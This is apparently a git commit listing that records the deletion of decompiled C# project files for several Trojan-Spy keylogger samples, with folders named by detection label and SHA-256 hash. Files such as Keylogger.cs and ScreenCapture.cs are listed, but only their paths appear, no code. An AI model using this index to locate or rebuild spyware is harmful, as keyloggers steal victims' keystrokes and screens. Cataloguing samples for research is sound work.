MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/CIpn15qGVW59Oep.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/EOrLbYk14XPeC2oE2E0s9Ekcpf.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/J13Dj9F1U42052wSN8OX3y1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/L9Fs053DTOmx5Sr3S.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/LdaeCH7yImBBllx3KJR5B1Y.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/LlCg66U8nQ6.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Q442g1f5Onjhrb38EJ07A2cX4am.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Q442g1f5Onjhrb38EJ07A2cX4am.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Trojan-Spy.MSIL.KeyLogger.bxxv.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Trojan-Spy.MSIL.KeyLogger.bxxv.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/WYeVnEg2c8C85.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Y8ZQPn178BO8vhW.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/ZzYeR2hJMVlL7VL6E8I6dw5Lcjkb.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/ay97PbFT20PTEOrs9OYziG8.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/b0k7z5c574A4Hx43I4Q.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/blg20Q73EhiWk8fVKc2sVEu83TznP.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/c77XF9eDZOuzFF8f5q1bJV.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/jYP1913Mct6Y.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/m4aaQpJhrZ9Xe326dIedu5.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/tf6n1Si0qpIP.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/thV1dRPZq5YYD4h.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/uNO6ZA0upXN2er2Ycc3Lk4F3Q.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/uW0MN3XhpeqRmhAi5iX7Jt0fUF7gp.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/w6H762O8GJ93u32E6V3a3.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/xO8Lcd7LMsI8eH3C5hOzuS72um9.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/zhKYr9Vhgz13n9l28t.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Keylogger/Keylogger.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Program.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Properties/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Properties/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Properties/Settings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Trojan-Spy.MSIL.KeyLogger.cciq.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Trojan-Spy.MSIL.KeyLogger.cciq.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/SmartAssembly/Attributes/PoweredByAttribute.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/Trojan-Spy.MSIL.KeyLogger.cfj.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/Trojan-Spy.MSIL.KeyLogger.cfj.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0001/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0001/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0002/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0002/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0003/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0003/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0003/_0002.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0004/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0004/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/awewf45wrtghfghfghfgh/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/awewf45wrtghfghfghfgh/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/SmartAssembly/Attributes/PoweredByAttribute.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/Trojan-Spy.MSIL.KeyLogger.cfj.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/Trojan-Spy.MSIL.KeyLogger.cfj.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0001/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0001/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0002/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0002/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0003/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0003/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0003/_0002.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0004/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0004/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/awewf45wrtghfghfghfgh/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/awewf45wrtghfghfghfgh/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Module1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/InternalXmlHelper.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Trojan-Spy.MSIL.KeyLogger.cme.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Trojan-Spy.MSIL.KeyLogger.cme.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/RinLoggerServer/RinHelper.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/RinLoggerServer/RinLogger.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/RinLoggerServer/ScreenCapture.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/Trojan-Spy.MSIL.KeyLogger.cts.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/Trojan-Spy.MSIL.KeyLogger.cts.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Trojan-Spy.MSIL.KeyLogger.cuw.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Trojan-Spy.MSIL.KeyLogger.cuw.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Trojan-Spy.MSIL.KeyLogger.cuw.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Trojan-Spy.MSIL.KeyLogger.cuw.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Trojan-Spy.MSIL.KeyLogger.cuw.csproj delete mode 100644 